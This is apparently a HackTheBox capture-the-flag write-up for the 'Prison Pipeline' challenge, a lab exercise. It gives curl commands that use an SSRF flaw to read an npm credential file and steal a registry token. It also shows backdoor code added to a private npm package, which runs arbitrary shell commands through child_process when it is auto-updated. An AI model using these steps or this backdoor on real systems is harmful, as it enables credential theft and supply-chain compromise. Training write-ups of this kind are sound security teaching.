Prison Pipeline
Prison Pipeline
Platform: HackTheBox | Category: Misc | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-29 | Status: Solved Techniques: npm_package_hijacking, ssrf_file_read, supply_chain_attack
Summary
One of our crew members has been captured by mutant raiders and is locked away in their heavily fortified prison. During an initial reconnaissance, the crew managed to gain access to the prison's record management system. Your mission: exploit this system to infiltrate the prison's network and disab
Prison Pipeline — HackTheBox Business CTF 2024
Description
One of our crew members has been captured by mutant raiders and is locked away in their heavily fortified prison. During an initial reconnaissance, the crew managed to gain access to the prison's record management system. Your mission: exploit this system to infiltrate the prison's network and disable the defenses for the rescuers.
Application Architecture
| Component | Description |
|---|---|
| Main App | Node.js Express application on port 5000 (proxied via nginx on port 1337) |
| Verdaccio Registry | Private npm registry on port 4873, accessible externally via registry.prison-pipeline.htb hostname (nginx vhost) |
| Cronjob | Every 30 seconds: checks npm outdated prisoner-db, if outdated runs npm update prisoner-db then pm2 restart prison-pipeline |
| Flag | Located at /root/flag, readable via SUID binary /readflag |
Key Files
/api/prisoners/importendpoint — accepts URL parameter and fetches content usingnode-libcurlprisoner-db— private npm package used by the application (containsindex.js,curl.js, depends onnode-libcurlandjs-yaml)- Cronjob script that runs
npm --registry http://localhost:4873 update prisoner-dbevery 30 seconds
Analysis
Vulnerability 1: SSRF via node-libcurl
The import endpoint uses node-libcurl which supports multiple protocols including file:// for local file reads and standard http://. This allows reading local files from the server.
Vulnerability 2: Leaked npm Auth Token
The .npmrc file at /home/node/.npmrc contains a Bearer token for Verdaccio authentication. This token can be extracted via SSRF file read.
Vulnerability 3: Supply Chain Attack Vector
The cronjob periodically runs npm update, which will install any newer version of prisoner-db from the internal registry. If we can publish a malicious version, it will be automatically installed and executed.
Nginx Vhost Routing (Critical Detail)
Nginx routes requests based on server_name:
Host: prison-pipeline.htb→ Main app (port 5000)Host: registry.prison-pipeline.htb→ Verdaccio (port 4873)
This means the Verdaccio registry is accessible externally, but only via the correct hostname. You must add the target IP to /etc/hosts to reach it.
Solution
Step 1: Extract npm auth token via SSRF
Use the file:// protocol to read the npm configuration:
bash read-only • copy allowed# Read .npmrc via SSRF curl -X POST "http://TARGET:PORT/api/prisoners/import" \ -H "Content-Type: application/json" \ -d '{"url": "file:///home/node/.npmrc"}'
This returns a prisoner_id. GET that prisoner to read the raw content:
bash read-only • copy allowedcurl "http://TARGET:PORT/api/prisoners/PRISONER_ID"
Response contains:
//localhost:4873/:_authToken="MWZlMmI1OTRiZjMwNTJkMjYwNWZhYTE1NGJlNTVjZDQ6..."
Step 2: Add hostname to /etc/hosts
bash read-only • copy allowedsudo sh -c 'echo "TARGET_IP registry.prison-pipeline.htb" >> /etc/hosts'
IMPORTANT: This step requires sudo access. The user must do this manually. Without this hosts entry, requests go to the main app instead of Verdaccio because nginx routes by server_name.
Step 3: Create .npmrc with token
In the package directory, create .npmrc:
//registry.prison-pipeline.htb:PORT/:_authToken="TOKEN_HERE"
Step 4: Verify access
bash read-only • copy allowednpm --registry=http://registry.prison-pipeline.htb:PORT whoami --userconfig .npmrc # Should return: registry
Step 5: Create malicious prisoner-db package
CRITICAL: Keep ALL original files (curl.js, index.js, package.json) with original dependencies (js-yaml, node-libcurl). Only add the backdoor and bump the version. Removing node-libcurl dependency or curl.js will crash the app on restart!
Only modify TWO things in the original prisoner-db source:
1. package.json — bump version to 1.0.1:
json read-only • copy allowed{ "name": "prisoner-db", "version": "1.0.1", "description": "Prisoner database module", "main": "index.js", "dependencies": { "js-yaml": "^4.1.0", "node-libcurl": "^4.0.0" } }
2. index.js — add backdoor at the START of importPrisoner() function:
javascript read-only • copy allowedasync importPrisoner(url) { // backdoor const child_process = require('child_process'); if (url.includes('PWN:')) { try { let cmd = url.replace('PWN:', ''); let output = child_process.execSync(cmd).toString(); return output; } catch (error) { return 'PWN: Error executing command.'; } } // ... rest of original importPrisoner code unchanged ... }
Step 6: Publish via npm
bash read-only • copy allowednpm publish --registry=http://registry.prison-pipeline.htb:PORT --userconfig .npmrc
Step 7: Wait for cronjob and trigger backdoor
Wait ~40 seconds for the cronjob to detect the new version, run npm update, and restart the app:
bash read-only • copy allowedsleep 40 # Trigger the backdoor via the import endpoint curl -X POST 'http://TARGET:PORT/api/prisoners/import' \ -H 'Content-Type: application/json' \ -d '{"url": "PWN:/readflag"}'
The flag is returned in the prisoner_id field of the JSON response.
What Does NOT Work (Common Mistakes)
| Approach | Why It Fails |
|---|---|
| gopher:// SSRF to publish | Crashes the Node.js app permanently (502 Bad Gateway), server never recovers |
| Removing node-libcurl from dependencies | App crashes on restart because require('./curl') → require('node-libcurl') fails |
| Removing curl.js from package | Same crash — the main app depends on it |
| Publishing via Verdaccio PUT API with curl | Tarball format may be incorrect; npm publish handles this correctly |
| Using IP address for registry | Nginx routes by hostname; requests without Host: registry.prison-pipeline.htb go to main app, not Verdaccio |
Key Takeaways
- SSRF with node-libcurl — supports
file://for local file reads (butgopher://crashes Node.js!) - Supply chain attacks via private registries — if you can publish, you can get RCE
- Preserve original package structure — removing dependencies or files the app needs will crash it
- Backdoor in existing functions — inject code into existing methods rather than replacing the module entirely
- Use
npm publishnot manual API calls — npm handles tarball creation, checksums, and metadata correctly - Nginx vhost routing matters — internal services may be accessible externally via the right
Hostheader